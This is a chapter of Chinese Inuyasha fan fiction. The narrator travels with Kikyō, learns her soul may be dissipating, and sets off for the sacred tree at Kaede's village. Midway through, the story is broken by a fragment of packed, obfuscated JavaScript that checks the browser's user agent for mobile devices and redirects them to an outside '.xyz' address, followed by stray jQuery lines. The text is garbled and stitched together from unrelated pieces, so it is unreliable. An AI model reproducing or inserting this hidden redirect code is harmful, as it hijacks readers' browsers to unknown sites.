和桔梗待在一块儿的这几天，日子过得慢悠悠的，像是被人按了慢放键。


    周围静得近乎凝固，可仔细听，又能听见底层老百姓挣扎过日子的细碎声响。


    我们俩就围着附近几个村子打转，天天重复着采药、给人瞧病、安抚那些生病的人的活儿。空气里总飘着股草药的苦味儿，混着穷人家特有的汗味和土腥气，说不上来是什么感觉。


    这天，听村民说山坳里有户人家的男主人病得厉害，我们就按着指引往那儿去。天刚亮，草叶上还挂着露水，我们踩着山路绕来绕去，好不容易才找到那间孤零零的茅草屋。


    开门的是个女人，脸黄得像张旧纸，眼神空落落的，没一点神采。


    桔梗还没说话呢，那女人像是早就知道我们要来，慢慢摇了摇头，声音干得像砂纸在磨：“不用了……巫女大人，真的不用了。”


    我愣了一下，下意识“诶”了一声，心里直犯嘀咕：明明之前说病得快不行了，怎么突然就不用治了？


    桔梗却好像什么都知道似的，平静地看着那女人，目光在她身上扫了一圈——我后来才琢磨过来，她大概是瞧见了那女人身上缠着的一点点灰败气，淡得几乎看不见。然后她轻轻“嗯”了一声，算是应了，转身就走。


    我赶紧跟上，走出去好远，才忍不住小声问：“桔梗大人，你是不是知道她为啥说不用治了？”


    桔梗脚步没停，眼睛望着前头被树枝切得一块一块的天空，声音还是那么清冷：“她身上沾了亡者的死气，虽说淡，可缠得紧。她男人……该是已经去冥界了。”


    亡者的死气……去了冥界……


    我心里咯噔一下，脚步都慢了半拍。这世道残酷，我早就知道，可这么直愣愣地撞见一条人命就这么没了，还是觉得后背发凉。


    （这时代的人啊……活得真像野草。安安静静地长着，使劲儿吸点养分，说不定一场病、一顿饿，或者哪个妖怪一时兴起，就悄没声儿地枯了、没了，连点痕迹都留不下。命……就这么不值钱，这么不经折腾吗？）


    那我呢？我这身子，揣着个异世的魂儿，跟着这个世界的一切都对不上号，会不会也像这些野草似的，哪天突然就没了，好像从没活过一样？


    这念头跟条冰藤蔓似的，悄悄缠上我的心，沉甸甸的，让我半天回不过神。


    想得太出神，脚下的路都看不清楚了。没留神，被个凸起来的树根绊了一下，我“呀”地叫了一声，眼看着就要摔个嘴啃泥！


    就在这时候，一只手伸了过来，稳稳地扶住了我的胳膊，把我晃悠的身子给稳住了。是桔梗，她的手凉凉的。


    我吓得心还突突跳，赶紧道谢：“谢谢桔梗大人……”


    我抬起头，却见桔梗没马上松手，反而微微皱着她那双好看的柳叶眉，眼神专注得很，像是在探究什么，一眨不眨地盯着我，好像从我身上发现了什么特别细微又不一样的东西。


    被她这么盯着，我浑身不自在，脸也有点发烫，尴尬地问：“怎、怎么了？桔梗大人，我……有啥不对吗？”


    桔梗慢慢松开手，点了点头，语气还是淡淡的，可意思很肯定：“嗯。刚才你差点摔倒，心神不宁的时候，你的灵魂……好像有一点点要散开的迹象，很淡。”


    “诶？！”我彻底懵了，眼睛瞪得溜圆，“怎么会？！我……我刚才就差点摔了吓一跳，没觉得哪儿不舒服啊！头不晕，也没像上次在冥界那样想睡觉！”


    桔梗看着我瞬间煞白、写满害怕的脸，沉默了一会儿，她那双清亮的眼睛里，好像闪过一丝特别淡、近乎同情的神色。


    她没再多说什么，转身接着往前走，声音随着风飘过来：“走吧，先回去。”


    我愣在原地，脑子里乱糟糟的，琢磨着这突然冒出来的坏消息。直到她的背影快在小路转弯处看不见了，我才猛地反应过来，慌忙应道：“啊……好、好的。”赶紧小跑着追上去。


    回去的路上，我心里比来的时候沉多了。灵魂……消散？不是离开身体，是更彻底的……没了？那意思是，我就彻底不存在了？


    晚上，躺在花野子阿姨家那张熟悉的床上，铺着干草和旧布，我睁着眼睛瞅着黑乎乎的屋顶，一点儿睡意都没有。白天的事儿和桔梗清冷的声音在脑子里转来转去——


    【“你的灵魂……似乎有极其微弱的、将要消散逸散的迹象。”】


    消散……


    这两个字跟把冰锥似的，戳破了我一直强撑着的平静。


    （我还以为……只要躲开冥界那种地方，就能像普通人一样，守在杀生丸身边，哪怕就当个需要他护着的小丫头，也能有段属于我们的日子，不用多轰轰烈烈，暖和就行……难道，就连这么点念想，都是痴心妄想吗？）


    （幸福的故事……果然跟我这种倒霉的人没缘分吧？）


    一股巨大的难过和无力感涌上来，像潮水似的把所有的侥幸和期待都淹了。黑暗里，一滴眼泪没忍住，从眼角滑下来，很快钻进鬓角的头发里，只留下点冰凉的湿意。我使劲咬着下唇，不敢发出一点声音。


    第二天早上，我情绪还是低落落的，跟被霜打了的茄子似的，蔫蔫地坐在院子的石阶上，看着孩子们疯玩，眼神却空落落的没个焦点。


    桔梗收拾好东西，走到我跟前。她低头看我这副没精打采的样子，静了一会儿，开口说道，声音还是那么清冷，可好像比平时多了点让人琢磨不透的决断：


    “你的情况，我有点想法。”


    “得回枫之村一趟。”


    “诶？”我一时没反应过来，懵懵地抬起头，“枫之村？就是……戈薇和犬夜叉他们待的那个村子？去那儿……有啥特别的东西吗？”


    桔梗的目光越过我的头顶，望向远处的天边，那是枫之村的方向。她的声音带着点悠远的味儿，慢慢吐出三个字：


    “那里有御神木。”


    御神木？就是那棵连着现代和战国，藏着好大一股干净灵力的时代树？


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432209|182016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >虽然还没完全明白桔梗想干啥，但“想法”这两个字，就够在我死气沉沉的心里投下颗希望的小石子了。我立刻站起来，使劲点头：“好！我去！”


    跟花野子阿姨和孩子们道别时，我就简单说要跟着桔梗大人去办件要紧事。花野子阿姨虽然舍不得，但看见桔梗在旁边，也就放了心，一个劲儿叮嘱我路上当心。


    就这么着，带了点简单的行李，我们俩踏上了去枫之村的路。


    路不算近，还得穿过一些有妖怪窝着的山林。不过，有桔梗在，这些危险好像都不算啥了。


    偶尔有不长眼的小妖或者被邪气迷了心窍的怪物从暗处扑出来，桔梗都不用怎么瞄准，就优雅地拉开弓搭上箭，那破魔的光跟劈开乌云的闪电似的，又准又快地把那些妖魔鬼怪给净化了，连点脏东西都没剩下。


    看着桔梗清冷又高傲的背影，感受着她那稳如大山、让人踏实的气息，我忍不住在心里嘀咕：（果然啊，这么厉害又靠谱的人，是不是都自带这种让人不敢随便靠近的清冷气场？感觉……桔梗和杀生丸在这点上，还真有点像。）


    一想到那个银发的身影，思绪就收不回来了。看着桔梗拉弓时那流畅又有力的动作，还有她专注又坚定的侧脸，我眼前就不由自主地浮现出另一幅画面——


    杀生丸挥动斗鬼神的时候，那股子能斩断一切的凌厉劲儿，还有他站在漫天妖气碎片里，那又冷又俊、好像谁都不放在眼里的样子。


    （杀生丸……你现在在哪儿呢？有没有……想起我啊？）


    我摸了摸怀里那颗他之前送给我的月华凝珠，冰凉凉的，滑溜溜的。心里因为可能“消散”而产生的害怕，好像被这遥远的思念冲淡了一点点。


    不管以后的路咋样，至少现在，我还在为了能“存在”下去努力。


    走了两天，路过一个小镇，桔梗说要买点干粮，让我在镇口的老槐树下等着。我乖乖坐在树根上，看着来来往往的人，心里又开始惦记杀生丸。


    不知道他这阵子有没有遇到难缠的妖怪，有没有好好吃饭……虽然知道他厉害得很，可就是忍不住瞎操心。


    正想得入神，忽然听见一阵急促的脚步声，一个背着包袱的大婶慌慌张张地从镇里跑出来，嘴里还念叨着：“不得了了，镇东头那家药铺闹妖怪了！说是吃人的邪祟，好多人都被吓跑了！”


    我心里一紧，桔梗还在镇里呢！刚想站起来往镇里跑，就看见桔梗的身影从人群里走了出来，手里提着个布袋子，好像啥事儿都没发生过一样。


    “桔梗大人！”我赶紧迎上去，“刚才听人说镇里闹妖怪……”


    桔梗淡淡地瞥了一眼镇东头的方向，语气没什么起伏：“已经处理了。”


    我看着她平静的侧脸，心里又佩服又有点说不清的滋味。她总是这样，再大的事到她这儿，好像都轻描淡写的。


    可我知道，那背后是多大的力量和担当。就像杀生丸，不管遇到多强的对手，脸上也从来不会露出慌张。